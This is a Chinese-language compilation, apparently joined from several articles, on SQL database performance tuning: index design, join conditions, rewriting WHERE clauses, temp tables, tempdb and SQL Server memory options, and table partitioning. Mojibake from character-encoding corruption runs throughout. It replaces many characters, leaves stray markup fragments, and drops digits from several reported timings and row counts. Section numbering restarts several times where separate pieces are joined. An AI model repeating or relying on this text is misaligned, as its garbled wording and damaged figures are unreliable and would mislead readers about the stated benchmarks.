表示为（< 1�U�）�?br />
---- ��试环境--

---- ��L��Q�HP LH II

---- 主频�Q?30MHZ

---- 内存�Q?28�?br />
---- 操作�pȝ��Q�Operserver5.0.4

----数据库：Sybase11.0.3

一、不合理的烦引设�?br />
----例：表record�?20000行，试看在不同的索引下，下面几个 SQL的运行情况：

---- 1.在date上徏有一非个��集索引

select count(*) from record where date >

'19991201' and date < '19991214'and amount >

2000 (25�U?

select date,sum(amount) from record group by date

(55�U?

select count(*) from record where date >

'19990901' and place in ('BJ','SH') (27�U?

---- 分析�Q?br />
----date上有大量的重复��|��在非��集索引下，数据在物理上随机存放在数据页上，�?br />
范围查找�Ӟ��必须执行一�ơ表扫描才能扑ֈ��q�一范围内的全部行�?br />
---- 2.在date上的一个群集烦�?br />
select count(*) from record where date >

'19991201' and date < '19991214' and amount >

2000 �Q?4�U�）

select date,sum(amount) from record group by date

�Q?8�U�）

select count(*) from record where date >

'19990901' and place in ('BJ','SH')�Q?4�U�）

---- 分析�Q?br />
---- 在群集烦引下�Q�数据在物理上按��序在数据页上，重复��g��排列在一��P��因而在�?br />
围查找时�Q�可以先扑ֈ��q�个范围的�v末点�Q�且只在�q�个范围内扫描数据页�Q�避免了大范

围扫描，提高了查询速度�?br />
---- 3.在place�Q�date�Q�amount上的�l�合索引

select count(*) from record where date >

'19991201' and date < '19991214' and amount >

2000 �Q?6�U�）

select date,sum(amount) from record group by date

�Q?7�U�）

select count(*) from record where date >

'19990901' and place in ('BJ', 'SH')�Q?lt; 1�U�）

---- 分析�Q?br />
---- �q�是一个不很合理的�l�合索引�Q�因为它的前导列是place�Q�第一和第二条SQL没有�?br />
用place�Q�因此也没有利用上烦引；�W�三个SQL使用了place�Q�且引用的所有列都包含在�l?br />
合烦引中�Q��Ş成了索引覆盖�Q�所以它的速度是非常快的�?br />
---- 4.在date�Q�place�Q�amount上的�l�合索引

select count(*) from record where date >

'19991201' and date < '19991214' and amount >

2000(< 1�U?

select date,sum(amount) from record group by date

�Q?1�U�）

select count(*) from record where date >

'19990901' and place in ('BJ','SH')�Q?lt; 1�U�）

---- 分析�Q?br />
---- �q�是一个合理的�l�合索引。它��date作�ؓ前导列，使每个SQL都可以利用烦引，�q?br />
且在�W�一和第三个SQL中�Ş成了索引覆盖�Q�因而性能辑ֈ�了最优�?br />
---- 5.�ȝ��Q?br />
---- �~�省情况下徏立的索引是非��集索引�Q�但有时它�ƈ不是最佳的�Q�合理的索引设计�?br />
建立在对各种查询的分析和预测上。一般来��_��

---- �?有大量重复倹{��且�l�常有范围查�?br />
�Q�between, >,< �Q?gt;=,< =�Q�和order by

、group by发生的列�Q�可考虑建立��集索引�Q?br />
---- �?�l�常同时存取多列�Q�且每列都含有重复值可考虑建立�l�合索引�Q?br />
---- �?�l�合索引要尽量��关键查询形成索引覆盖�Q�其前导列一定是使用最频繁的列�?br />

二、不充䆾的连接条�Ӟ��

---- 例：表card�?896行，在card_no上有一个非聚集索引�Q�表account�?91122行，�?br />
account_no上有一个非聚集索引�Q�试看在不同的表�q�接条�g下，两个SQL的执行情况：

select sum(a.amount) from account a,

card b where a.card_no = b.card_no�Q?0�U�）

---- ��SQL改�ؓ�Q?br />
select sum(a.amount) from account a,

card b where a.card_no = b.card_no and a.

account_no=b.account_no�Q?lt; 1�U�）

---- 分析�Q?br />
---- 在第一个连接条件下�Q�最��x��询方案是��account作外层表�Q�card作内层表�Q�利�?br />
card上的索引�Q�其I/O�ơ数可由以下公式估算为：

---- 外层表account上的22541��?�Q�外层表account�?91122�?内层表card上对应外�?br />
表第一行所要查扄��3��）=595907�ơI/O

---- 在第二个�q�接条�g下，最��x��询方案是��card作外层表�Q�account作内层表�Q�利�?br />
account上的索引�Q�其I/O�ơ数可由以下公式估算为：

---- 外层表card上的1944��?�Q�外层表card�?896�?内层表account上对应外层表每一

行所要查扄��4��）= 33528�ơI/O

---- 可见�Q�只有充份的�q�接条�g�Q�真正的最��x��案才会被执行�?br />
---- �ȝ��Q?br />
---- 1.多表操作在被实际执行前，查询优化器会�Ҏ��q�接条�g�Q�列出几�l�可能的�q�接�?br />
案�ƈ从中扑և��pȝ��开销最��的最��x��案。连接条件要充䆾考虑带有索引的表、行数多�?br />
表；内外表的选择可由公式�Q�外层表中的匚w��行数*内层表中每一�ơ查扄��ơ数��定�Q�乘

�U�最��ؓ最��x��案�?br />
---- 2.查看执行�Ҏ��的方�?- 用set showplanon�Q�打开showplan选项�Q�就可以看到�q?br />
接顺序、��用何�U�烦引的信息�Q�想看更详细的信息，需用sa角色执行dbcc(3604,310,30

2)�?br />
三、不可优化的where子句

---- 1.例：下列SQL条�g语句中的列都建有恰当的烦引，但执行速度却非常慢�Q?br />
select * from record where

substring(card_no,1,4)='5378'(13�U?

select * from record where

amount/30< 1000�Q?1�U�）

select * from record where

convert(char(10),date,112)='19991201'�Q?0�U�）

---- 分析�Q?br />
---- where子句中对列的��M��操作�l�果都是在SQL�q�行旉��列计算得到的，因此它不得不

�q�行表搜索，而没有��用该列上面的索引�Q�如果这些结果在查询�~�译时就能得刎ͼ�那么

��可以被SQL优化器优化，使用索引�Q�避免表搜烦�Q�因此将SQL重写成下面这��P��

select * from record where card_no like

'5378%'�Q?lt; 1�U�）

select * from record where amount

< 1000*30�Q?lt; 1�U�）

select * from record where date= '1999/12/01'

�Q?lt; 1�U�）

---- 你会发现SQL明显快�v来！

---- 2.例：表stuff�?00000行，id_no上有非群集烦引，��L��下面�q�个SQL�Q?br />
select count(*) from stuff where id_no in('0','1')

�Q?3�U�）

---- 分析�Q?br />
---- where条�g中的'in'在逻辑上相当于'or'�Q�所以语法分析器会将in ('0','1')转化

为id_no ='0' or id_no='1'来执行。我们期望它会根据每个or子句分别查找�Q�再��结�?br />
相加�Q�这样可以利用id_no上的索引�Q�但实际上（�Ҏ��showplan�Q?它却采用�?OR�{�略"

�Q�即先取出满��x��个or子句的行�Q�存入��时数据库的工作表中，再徏立唯一索引以去�?br />
重复行，最后从�q�个临时表中计算�l�果。因此，实际�q�程没有利用id_no上烦引，�q�且�?br />
成时间还要受tempdb数据库性能的媄响�?br />
---- 实践证明�Q�表的行数越多，工作表的性能��p��差，当stuff�?20000行时�Q�执行时

间竟辑ֈ�220�U�！�q�不如将or子句分开�Q?br />
select count(*) from stuff where id_no='0'

select count(*) from stuff where id_no='1'

---- 得到两个�l�果�Q�再作一�ơ加法合��。因为每句都使用了烦引，执行旉��只有3�U�，

�?20000行下�Q�时间也只有4�U�。或者，用更好的�Ҏ��Q�写一个简单的存储�q�程�Q?br />
create proc count_stuff as

declare @a int

declare @b int

declare @c int

declare @d char(10)

begin

select @a=count(*) from stuff where id_no='0'

select @b=count(*) from stuff where id_no='1'

end

select @c=@a+@b

select @d=convert(char(10),@c)

print @d

---- 直接��出�l�果�Q�执行时间同上面一样快�Q?br />
---- �ȝ��Q?br />
---- 可见�Q�所谓优化即where子句利用了烦引，不可优化卛_��生了表扫描或额外开销�?br />

---- 1.��M��对列的操作都��导致表扫描�Q�它包括数据库函数、计��表辑ּ��{�等�Q�查询时

要尽可能��操作移至等号右辏V�?br />
---- 2.in、or子句�怼�使用工作表，使烦引失效；如果不��生大量重复��|��可以考虑�?br />
子句拆开�Q�拆开的子句中应该包含索引�?br />
---- 3.要善于��用存储过�E�，它��SQL变得更加灉|��和高效�?br />
---- 从以上这些例子可以看出，SQL优化的实质就是在�l�果正确的前提下�Q�用优化器可

以识别的语句�Q�充份利用烦引，减少表扫描的I/O�ơ数�Q�尽量避免表搜烦的发生。其实S

QL的性能优化是一个复杂的�q�程�Q�上�q�这些只是在应用层次的一�U�体玎ͼ�深入研究�q�会

涉及数据库层的资源配�|�、网�l�层的流量控制以及操作系�l�层的��M��设计�?br />

1�Q�合理��用烦�?

索引是数据库中重要的数据�l�构�Q�它的根本目的就是�ؓ了提高查询效率。现在大多数的数据库产品都采用IBM最先提出的ISAM索引�l�构。烦引的使用要恰到好处，其��用原则如下：

●在�l�常�q�行�q�接�Q�但是没有指定�ؓ外键的列上徏立烦引，而不�l�常�q�接的字�D�则�׃��化器自动生成索引�?

●在频繁�q�行排序或分�l�（卌��行group by或order by操作�Q�的列上建立索引�?

●在条�g表达式中�l�常用到的不同��D��多的列上建立��索，在不同值少的列上不要徏立烦引。比如在雇员表的“性别”列上只有“男”与“女”两个不同��|��因此��无必要建立索引。如果徏立烦引不但不会提高查询效率，反而会严重降低更新速度�?

●如果待排序的列有多个，可以在这些列上徏立复合烦引（compound index�Q��?

●��用系�l�工兗��如Informix数据库有一个tbcheck工具�Q�可以在可疑的烦引上�q�行��查。在一些数据库服务器上�Q�烦引可能失效或者因为频�J�操作而��得读取效率降低，如果一个��用烦引的查询不明不白地慢下来�Q�可以试着用tbcheck工具��查烦引的完整性，必要时进行修复。另外，当数据库表更新大量数据后�Q�删除�ƈ重徏索引可以提高查询速度�?

2�Q�避免或��化排�?

应当��化或避免对大型表�q�行重复的排序。当能够利用索引自动以适当的次序��生输出时�Q�优化器��避免了排序的步骤。以下是一些媄响因素：

●烦引中不包括一个或几个待排序的列；

●group by或order by子句中列的次序与索引的次序不一��P��

●排序的列来自不同的表�?

��Z��避免不必要的排序�Q�就要正��地增徏索引�Q�合理地合�ƈ数据库表�Q�尽��有时可能媄响表的规范化�Q�但相对于效率的提高是值得的）。如果排序不可避免，那么应当试图��化它�Q�如�~�小排序的列的范围等�?

3�Q�消除对大型表行数据的顺序存�?

在嵌套查询中�Q�对表的��序存取�Ҏ��询效率可能��生致命的影响。比如采用顺序存取策略，一个嵌�?层的查询�Q�如果每层都查询1000行，那么�q�个查询��p��查询10亿行数据。避免这�U�情�늚�主要�Ҏ��是对连接的列进行烦引。例如，两个表：学生表（学号、姓名、年龄……）和选课表（学号、课�E�号、成�l�）。如果两个表要做�q�接�Q�就要在“学号”这个连接字�D�上建立索引�?

�q�可以��用�ƈ集来避免��序存取。尽��在所有的��查列上都有烦引，但某些�Ş式的where子句��优化器��用顺序存取。下面的查询��强�q�对orders表执行顺序操作：

SELECT �Q?FROM orders WHERE (customer_num=104 AND order_num>1001) OR order_num=1008

虽然在customer_num和order_num上徏有烦引，但是在上面的语句中优化器�q�是使用��序存取路径扫描整个表。因��个语句要��索的是分��ȝ��行的集合�Q�所以应该改为如下语句：

SELECT �Q?FROM orders WHERE customer_num=104 AND order_num>1001

UNION

SELECT �Q?FROM orders WHERE order_num=1008

�q�样��p��利用索引路径处理查询�?

4�Q�避免相兛_��查询

一个列的标�{�֐�时在��L��询和where子句中的查询中出玎ͼ�那么很可能当��L��询中的列值改变之后，子查询必��重新查询一�ơ。查询嵌套层�ơ越多，效率��低�Q�因此应当尽量避免子查询。如果子查询不可避免�Q�那么要在子查询中过滤掉��可能多的行�?

5�Q�避免困隄��正规表达�?

MATCHES和LIKE关键字支持通配�W�匹配，技术上叫正规表辑ּ�。但�q�种匚w��特别耗费旉��。例如：SELECT �Q?FROM customer WHERE zipcode LIKE �?8_ _ _�?

即��在zipcode字段上徏立了索引�Q�在�q�种情况下也�q�是采用��序扫描的方式。如果把语句改�ؓSELECT �Q?FROM customer WHERE zipcode >�?8000”，在执行查询时��׃��利用索引来查询，昄��会大大提高速度�?

另外�Q�还要避免非开始的子串。例如语句：SELECT �Q?FROM customer WHERE zipcode[2�Q?] >�?0”，在where子句中采用了非开始子�Ԍ��因而这个语句也不会使用索引�?br />

6�Q��用��时表加速查�?

把表的一个子集进行排序�ƈ创徏临时表，有时能加速查询。它有助于避免多重排序操作，而且在其他方面还能简化优化器的工作。例如：

SELECT cust.name�Q�rcvbles.balance�Q�……other columns

FROM cust�Q�rcvbles

WHERE cust.customer_id = rcvlbes.customer_id

AND rcvblls.balance>0

AND cust.postcode>�?8000�?

ORDER BY cust.name

如果�q�个查询要被执行多次而不止一�ơ，可以把所有未付款的客��h��出来攑֜�一个��时文件中�Q��ƈ按客��L��名字�q�行排序�Q?

SELECT cust.name�Q�rcvbles.balance�Q�……other columns

FROM cust�Q�rcvbles

WHERE cust.customer_id = rcvlbes.customer_id

AND rcvblls.balance>0

ORDER BY cust.name

INTO TEMP cust_with_balance

然后以下面的方式在��时表中查询：

SELECT �Q?FROM cust_with_balance

WHERE postcode>�?8000�?

临时表中的行要比主表中的行少�Q�而且物理��序��是所要求的顺序，减少了磁盘I/O�Q�所以查询工作量可以得到大幅减少�?

注意�Q��时表创徏后不会反映主表的修改。在主表中数据频�J�修改的情况下，注意不要丢失数据�?

7�Q�用排序来取代非��序存取

非顺序磁盘存取是最慢的操作�Q�表现在��盘存取臂的来回�U�d��。SQL语句隐藏了这一情况�Q��得我们在写应用程序时很容易写��求存取大量非��序��늚�查询�?

有些时候，用数据库的排序能力来替代非顺序的存取能改�q�查询�?

3.优化 tempdb 性能

�?tempdb 数据库的物理位置和数据库选项讄��的一般徏议包括：

�?tempdb 数据库得以按需自动扩展。这��保在执行完成前不终止查询，该查询所生成的存储在 tempdb 数据库内的中间结果集比预期大得多�?br />

��?tempdb 数据库文件的初始大小讄��为合理的大小�Q�以避免当需要更多空间时文�g自动扩展。如�?tempdb 数据库扩展得�q�于频繁�Q�性能会受不良影响�?br />

��文件增长增量百分比讄��为合理的大小�Q�以避免 tempdb 数据库文件按太小的值增�ѝ��如果文件增长幅度与写入 tempdb 数据库的数据量相比太��，�?tempdb 数据库可能需要始�l�扩展，因而将妨害性能�?br />

��?tempdb 数据库放在快�?I/O 子系�l�上以确保好的性能。在多个��盘上条带化 tempdb 数据库以获得更好的性能。将 tempdb 数据库放在除用户数据库所使用的磁盘之外的��盘上。有��x��多信息，请参见扩充数据库�?br />

4.优化服务�?

使用内存配置选项优化服务器性能

Microsoft® SQL Server™ 2000 的内存管理组件消除了�?SQL Server 可用的内存进行手工管理的需要。SQL Server 在启动时�Ҏ��操作�pȝ��和其它应用程序当前正在��用的内存量，动态确定应分配的内存量。当计算机和SQL Server 上的负荷更改�Ӟ��分配的内存也随之更改。有��x��多信息，请参见内存构架�?br />

下列服务器配�|�选项可用于配�|�内存��用�ƈ影响服务器性能�Q?

min server memory

max server memory

max worker threads

index create memory

min memory per query

min server memory 服务器配�|�选项可用于确�?SQL Server 在达到该值后不会释放内存。可以基�?SQL Server 的大��及�z�d��该配置选项讄��为特定的倹{��如果选择讄��此选项�Q�必��Mؓ操作�pȝ��和其他程序留��够的内存。如果操作系�l�没有��够的内存�Q�会�?SQL Server ��h��内存�Q�从而导致媄�?SQL Server 性能�?br />

max server memory 服务器配�|�选项可用于：�?SQL Server 启动及运行时�Q�指�?SQL Server 可以分配的最大内存量。如果知道有多个应用�E�序�?SQL Server 同时�q�行�Q�而且想保障这些应用程序有��_��的内存运行，可以��该配置选项讄��为特定的倹{��如果这些其它应用程序（�?Web 服务器或电子邮�g服务器）只根据需要请求内存，�?SQL Server ��根据需要给它们释放内存�Q�因此不要设�|?max server memory 服务器配�|�选项。然而，应用�E�序通常在启动时不假选择��C��用可用内存，而如果需要更多内存也不请求。如果有�q�种行�ؓ方式的应用程序与 SQL Server 同时�q�行在相同的计算��Z��Q�则��?max server memory 服务器配�|�选项讄��为特定的��|��以保障应用程序所需的内存不�?SQL Server 分配出�?br />
不要��?min server memory �?max server memory 服务器配�|�选项讄��为相同的��|��q�样做会使分配给 SQL Server 的内存量固定。动态内存分配可以随旉��提供最佳的��M��性能。有��x��多信息，请参见服务器内存选项�?br />

max worker threads 服务器配�|�选项可用于指定�ؓ用户�q�接�?SQL Server 提供支持的线�E�数�?55 �q�一默认讄��对一些配�|�可能稍微偏高，�q�要具体取决于�ƈ发用��h��。由于每个工作线�E�都已分配，因此即�ɾU�程没有正在使用�Q�因为�ƈ发连接比分配的工作线�E�少�Q�，可由其它操作�Q�如高速缓冲存储器�Q�更好地利用的内存资源也可能是未使用的。一般情况下�Q�应��该配置��D��|��ؓ�q�发�q�接敎ͼ�但不能超�q?32727。�ƈ发连接与用户��d��q�接不同。SQL Server 实例的工作线�E�池只需要��够大�Q�以便�ؓ同时正在该实例中执行批处理的用户�q�接提供服务。如果增加工作线�E�的数量��过默认��|��会降低服务器性能。有��x��多信息，请参见max worker threads 选项�?br />
说明 �?SQL Server �q�行�?Microsoft Windows® 98 上时�Q�最大工作线�E�服务器配置选项不�v作用�?br />

index create memory 服务器配�|�选项控制创徏索引时排序操作所使用的内存量。在生��pȝ��上创建烦引通常是不常执行的��d��Q�通常调度为在非峰值时间执行的作业。因此，不常创徏索引且在非峰值时间时�Q�增加该值可提高索引创徏的性能。不�q�，最好将 min memory per query 配置选项保持在一个较低的��|��q�样即��所有请求的内存都不可用�Q�烦引创��Z��业仍能开始。有��x��多信息，请参�?index create memory 选项�?br />
min memory per query 服务器配�|�选项可用于指定分配给查询执行的最��内存量。当�pȝ��内有许多查询�q�发执行�Ӟ��增大 min memory per query 的值有助于提高消耗大量内存的查询�Q�如大型排序和哈希操作）的性能。不�q�，不要��?min memory per query 服务器配�|�选项讄��得太高，��其是在很忙的系�l�上�Q�因为查询将不得不等到能��保占有��h��的最��内存、或�{�到��过 query wait 服务器配�|�选项内所指定的倹{��如果可用内存比执行查询所需的指定最��内存多�Q�则只要查询能对多出的内存加以有效的利用�Q�就可以使用多出的内存。有��x��多信息，请参�?min memory per query 选项�?query wait 选项�?br />

使用 I/O 配置选项优化服务器性能

下列服务器配�|�选项可用于配�|?I/O 的��用�ƈ影响服务器性能�Q?

recovery interval

recovery interval 服务器配�|�选项控制 Microsoft® SQL Server™ 2000 在每个数据库内发出检查点的时间。默认情况下�Q�SQL Server ��定执行��查点操作的最��x��间。然而，若要��定�q�是否�ؓ适当的设�|�，需要��?Windows NT 性能监视器监视数据库文�g上的��盘写入�z�d��。导致磁盘利用率辑ֈ� 100% 的活动尖峰��g��妨害性能。若更改该参��C��使检查点�q�程较少出现�Q�通常可以提高�q�种情况下的��M��性能。但仍须�l�箋监视性能以确定新值是否已�Ҏ��能产生正面影响。有��x��多信息，请参见recovery interval 选项�?br />

5.优化数据库文�?br />

分区

��数据库分区可提高其性能�q�易于维护。通过��一个大表拆分成更小的单个表�Q�只讉K��一��部分数据的查询可以执行得更快，因�ؓ需要扫描的数据较少。而且可以更快地执行维护�Q务（如重建烦引或备䆾表）�?br />

实现分区操作时可以不拆分表，而将表物理地攄��在个别的��盘驱动器上。例如，��表攑֜�某个物理驱动器上�q�将相关的表攑֜�与之分离的驱动器上可提高查询性能�Q�因为当执行涉及表之间联接的查询�Ӟ��多个��头同时��d��数据。可以��?Microsoft® SQL Server™ 2000 文�g�l�指定将表放�|�在哪些��盘上�?br />

��g分区

��g分区��数据库设计为利用可用的��g构架。硬件分区的�C�Z��包括�Q?

允许多线�E�执行的多处理器�Q��得可以同时执行许多查询。换句话��_��在多处理器上可以同时执行查询的各个组�Ӟ��因此使单个查询的速度更快。例如，查询内引用的每个表可同时�׃��同的�U�程扫描�?br />

RAID�Q�独立磁盘冗余阵列）讑֤�允许数据在多个磁盘驱动器中条带化�Q��更多的读/写磁头同时读取数据，因此可以更快地访问数据。在多个驱动器中条带化的表一般比存储在一个驱动器上的相同的表扫描速度要快。换句话��_��表与相关的表分开存储在不同的驱动器上可以显著提高联接那些表的查询的性能�?

水��^分区

水��^分区��一个表分段为多个表�Q�每个表包含相同数目的列和较��的行。例如，可以��一个包含十亿行的表水��^分区�?12 个表�Q�每个小表代表特定年份内一个月的数据。�Q何需要特定月份数据的查询只引用相应月份的表�?br />

具体如何��表�q�行水��^分区取决于如何分析数据。将表进行分区是��Z��使查询引用尽可能��的表。否则，查询旉��使用�q�多�?UNION 查询来逻辑合�ƈ表，而这会削弱查询性能。有��x��询水�q�_��区的表的更多信息�Q�请参见视图使用�Ҏ��?

常用的方法是�Ҏ��时期/使用�Ҏ��据进行水�q�_��区。例如，一个表可能包含最�q�五�q�的数据�Q�但是只定期讉K��本年度的数据。在�q�种情况下，可考虑��数据分区成五个表，每个表只包含一�q�的数据�?br />

垂直分区

垂直分区��一个表分段为多个表�Q�每个表包含较少的列。垂直分区的两种�c�d��是规范化和行拆分�?br />

规范化是个标准数据库�q�程�Q�该�q�程从表中删除冗余列�q�将其放到次表中�Q�次表按主键与外键的关系链接��C��表�?br />

行拆分将原始表垂直分成多个只包含较少列的表。拆分的表内的每个逻辑行与其它表内的相同逻辑行匹配。例如，联接每个拆分的表内的�W�十行将重新创徏原始行�?br />

与水�q�_��Z��P��垂直分区使查询得以扫描较��的数据�Q�因此提高查询性能。例如有一个包含七列的表，通常只引用该表的前四列，那么��该表的后三列拆分到一个单独的表中可获得性能收益�?br />

应�}慎考虑垂直分区操作�Q�因为分析多个分区内的数据需要有联接表的查询�Q�而如果分区非常大��可能媄响性能�?br />

�Q�一�Q�深入浅出理解烦引结�?br />

实际上，您可以把索引理解��Z��U�特�D�的目录。微软的SQL SERVER提供了两�U�烦引：聚集索引�Q�clustered index�Q�也�U�聚�cȝ��引、簇集烦引）和非聚集索引�Q�nonclustered index�Q�也�U�非聚类索引、非��集索引�Q�。下面，我们举例来说明一下聚集烦引和非聚集烦引的区别�Q?br />

其实�Q�我们的汉语字典的正文本�w�就是一个聚集烦引。比如，我们要查“安”字�Q�就会很自然地翻开字典的前几页�Q�因为“安”的拼音是“an”，而按照拼��x��序汉字的字典是以英文字母“a”开头�ƈ以“z”结��Q�那么“安”字��p��然地排在字典的前部。如果您��d��了所有以“a”开头的部分仍然找不到这个字�Q�那么就说明您的字典中没有这个字�Q�同��L��Q�如果查“张”字�Q�那您也会将您的字典��d��最后部分，因�ؓ“张”的拼音是“zhang”。也��是��_��字典的正文部分本�w�就是一个目录，您不需要再��L��其他目录来找到您需要找的内宏V�?br />

我们把这�U�正文内�Ҏ��w�就是一�U�按照一定规则排列的目录�U�Cؓ“聚集烦引”�?br />

如果您认识某个字�Q�您可以快速地从自动中查到�q�个字。但您也可能会遇到您不认识的字，不知道它的发韻I��q�时候，您就不能按照刚才的方法找到您要查的字�Q�而需要去�Ҏ��“偏旁部首”查到您要找的字�Q�然后根据这个字后的��늠�直接��d��某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序�q�不是真正的正文的排序方法，比如您查“张”字�Q�我们可以看到在查部首之后的��字表中“张”的��늠��?72��，��字表中“张”的上面是“驰”字�Q�但��늠�却是63��，“张”的下面是“徃”字�Q�页面是390��c��很昄��Q�这些字�q�不是真正的分别位于“张”字的上下方�Q�现在您看到的连�l�的“驰、张、徃”三字实际上��是他们在非聚集索引中的排序�Q�是字典正文中的字在非聚集烦引中的映��。我们可以通过�q�种方式来找到您所需要的字，但它需要两个过�E�，先找到目录中的结果，然后再翻到您所需要的��늠��?br />

我们把这�U�目录纯�_Ҏ��目录�Q�正文纯�_Ҏ��正文的排序方式称为“非聚集索引”�?br />

通过以上例子�Q�我们可以理解到什么是“聚集烦引”和“非聚集索引”�?br />

�q�一步引申一下，我们可以很容易的理解�Q�每个表只能有一个聚集烦引，因�ؓ目录只能按照一�U�方法进行排序�?br />

�Q�二�Q�何时��用聚集烦引或非聚集烦�?br />

下面的表�ȝ��了何时��用聚集烦引或非聚集烦引（很重要）�?br />

动作描述

使用聚集索引

使用非聚集烦�?br />

列经常被分组排序

�?br />
�?br />

�q�回某范围内的数�?br />
�?br />
不应

一个或极少不同�?br />
不应

不应

��数目的不同�?br />
�?br />
不应

大数目的不同�?br />
不应

�?br />

频繁更新的列

不应

�?br />

外键�?br />
�?br />
�?br />

主键�?br />
�?br />
�?br />

频繁修改索引�?br />
不应

�?br />

事实上，我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如�Q�返回某范围内的数据一��V��比如您的某个表有一个时间列�Q�恰好您把聚合烦引徏立在了该列，�q�时您查�?004�q?�?日至2004�q?0�?日之间的全部数据�Ӟ��q�个速度��将是很快的�Q�因为您的这本字典正文是按日期进行排序的�Q�聚�cȝ��引只需要找到要��索的所有数据中的开头和�l�尾数据卛_��Q�而不像非聚集索引�Q�必��d��查到目录中查到每一��Ҏ��据对应的��늠��Q�然后再�Ҏ��늠�查到具体内容�?br />

�Q�三�Q�结合实际，谈烦引��用的误区

理论的目的是应用。虽然我们刚才列��Z��何时应��用聚集烦引或非聚集烦引，但在实践中以上规则却很容易被忽视或不能根据实际情况进行综合分析。下面我们将�Ҏ��在实践中遇到的实际问题来谈一下烦引��用的误区�Q�以便于大家掌握索引建立的方法�?br />

1、主键就是聚集烦�?br />

�q�种��x��W�者认为是极端错误的，是对聚集索引的一�U�浪贏V��虽然SQL SERVER默认是在主键上徏立聚集烦引的�?br />

通常�Q�我们会在每个表中都建立一个ID列，以区分每条数据，�q�且�q�个ID列是自动增大的，步长一般�ؓ1。我们的�q�个办公自动化的实例中的列Gid��是如此。此�Ӟ��如果我们��这个列设�ؓ主键�Q�SQL SERVER会将此列默认��集烦引。这样做有好处，��是可以让您的数据在数据库中按照ID�q�行物理排序�Q�但�W�者认��样做意义不大�?br />

显而易见，聚集索引的优势是很明昄��Q�而每个表中只能有一个聚集烦引的规则�Q�这使得聚集索引变得更加珍贵�?br />

从我们前面谈到的聚集索引的定义我们可以看出，使用聚集索引的最大好处就是能够根据查询要求，�q�速羃��查询范��_��避免全表扫描。在实际应用中，因�ؓID��h��自动生成的，我们�q�不知道每条记录的ID��P��所以我们很隑֜�实践中用ID��h��q�行查询。这��׃��让ID可��个主键作��集烦引成��Z��U�资源浪贏V��其�ơ，让每个ID号都不同的字�D�作��集烦引也不符合“大数目的不同值情况下不应建立聚合索引”规则；当然�Q�这�U�情况只是针对用��L��怿�改记录内容，特别是烦引项的时候会负作用，但对于查询速度�q�没有媄响�?br />

在办公自动化�pȝ��中，无论是系�l�首��|��C�的需要用��L��收的文�g、会议还是用戯��行文件查询等��M��情况下进行数据查询都��M��开字段的是“日期”还有用��h��w�的“用户名”�?br />

通常�Q�办公自动化的首��会昄��每个用户��未�{�收的文件或会议。虽然我们的where语句可以仅仅限制当前用户��未�{�收的情况，但如果您的系�l�已建立了很长时��_��q�且数据量很大，那么�Q�每�ơ每个用��h��开首页的时候都�q�行一�ơ全表扫描，�q�样做意义是不大的，�l�大多数的用�?个月前的文�g都已�l�浏览过了，�q�样做只能徒增数据库的开销而已。事实上�Q�我们完全可以让用户打开�pȝ��首页�Ӟ��数据库仅仅查询这个用戯��3个月来未阅览的文�Ӟ��通过“日期”这个字�D�|��限制表扫描，提高查询速度。如果您的办公自动化�pȝ��已经建立�?�q�_��那么您的首页昄��速度理论上将是原来速度8倍，甚至更快�?br />

在这里之所以提到“理��Z��”三字，是因为如果您的聚集烦引还是盲目地建在ID�q�个主键上时�Q�您的查询速度是没有这么高的，即��您在“日期”这个字�D�上建立的烦引（非聚合烦引）。下面我们就来看一下在1000万条数据量的情况下各�U�查询的速度表现�Q?个月内的数据�?5万条�Q�：

�Q?�Q�仅在主键上建立聚集索引�Q��ƈ且不划分旉��D�：

Select gid,fariqi,neibuyonghu,title from tgongwen

用时�Q?28470毫秒�Q�即�Q?28�U�）

�Q?�Q�在主键上徏立聚集烦引，在fariq上徏立非聚集索引�Q?br />

select gid,fariqi,neibuyonghu,title from Tgongwen

where fariqi> dateadd(day,-90,getdate())

用时�Q?3763毫秒�Q?4�U�）

�Q?�Q�将聚合索引建立在日期列�Q�fariqi�Q�上�Q?br />

select gid,fariqi,neibuyonghu,title from Tgongwen

where fariqi> dateadd(day,-90,getdate())

用时�Q?423毫秒�Q?�U�）

虽然每条语句提取出来的都�?5万条数据�Q�各�U�情�늚�差异却是巨大的，特别是将聚集索引建立在日期列时的差异。事实上�Q�如果您的数据库真的�?000万容量的话，把主键徏立在ID列上�Q�就像以上的�W?�?�U�情况，在网��上的表现就是超�Ӟ��Ҏ��无法显�C�。这也是我摒弃ID列作��集烦引的一个最重要的因素�?br />

得出以上速度的方法是�Q�在各个select语句前加�Q�declare @d datetime

set @d=getdate()

�q�在select语句后加�Q?br />

select [语句执行��p��旉��(毫秒)]=datediff(ms,@d,getdate())

2、只要徏立烦引就能显著提高查询速度

事实上，我们可以发现上面的例子中�Q�第2�?条语句完全相同，且徏立烦引的字段也相同；不同的仅是前者在fariqi字段上徏立的是非聚合索引�Q�后者在此字�D�上建立的是聚合索引�Q�但查询速度却有着天壤之别。所以，�q��是在��M��字段上简单地建立索引��p��提高查询速度�?br />

从徏表的语句中，我们可以看到�q�个有着1000万数据的表中fariqi字段�?003个不同记录。在此字�D�上建立聚合索引是再合适不�q�了。在现实中，我们每天都会发几个文�Ӟ��q�几个文件的发文日期��q��同，�q�完全符合徏立聚集烦引要求的�Q�“既不能�l�大多数都相同，又不能只有极��数相同”的规则。由此看来，我们建立“适当”的聚合索引对于我们提高查询速度是非帔R��要的�?br />

3、把所有需要提高查询速度的字�D�都加进聚集索引�Q�以提高查询速度

上面已经谈到�Q�在�q�行数据查询旉��M��开字段的是“日期”还有用��h��w�的“用户名”。既然这两个字段都是如此的重要，我们可以把他们合�q��v来，建立一个复合烦引（compound index�Q��?br />

很多��为只要把��M��字段加进聚集索引�Q�就能提高查询速度�Q�也有�h感到�q�h��Q�如果把复合的聚集烦引字�D�分开查询�Q�那么查询速度会减慢吗�Q�带着�q�个问题�Q�我们来看一下以下的查询速度�Q�结果集都是25万条数据�Q�：�Q�日期列fariqi首先排在复合聚集索引的�v始列�Q�用户名neibuyonghu排在后列�Q?br />
�Q?�Q�select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi>'2004-5-5'

查询速度�Q?513毫秒

�Q?�Q�select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi>'2004-5-5' and neibuyonghu='办公�?

查询速度�Q?516毫秒

�Q?�Q�select gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu='办公�?

查询速度�Q?0280毫秒

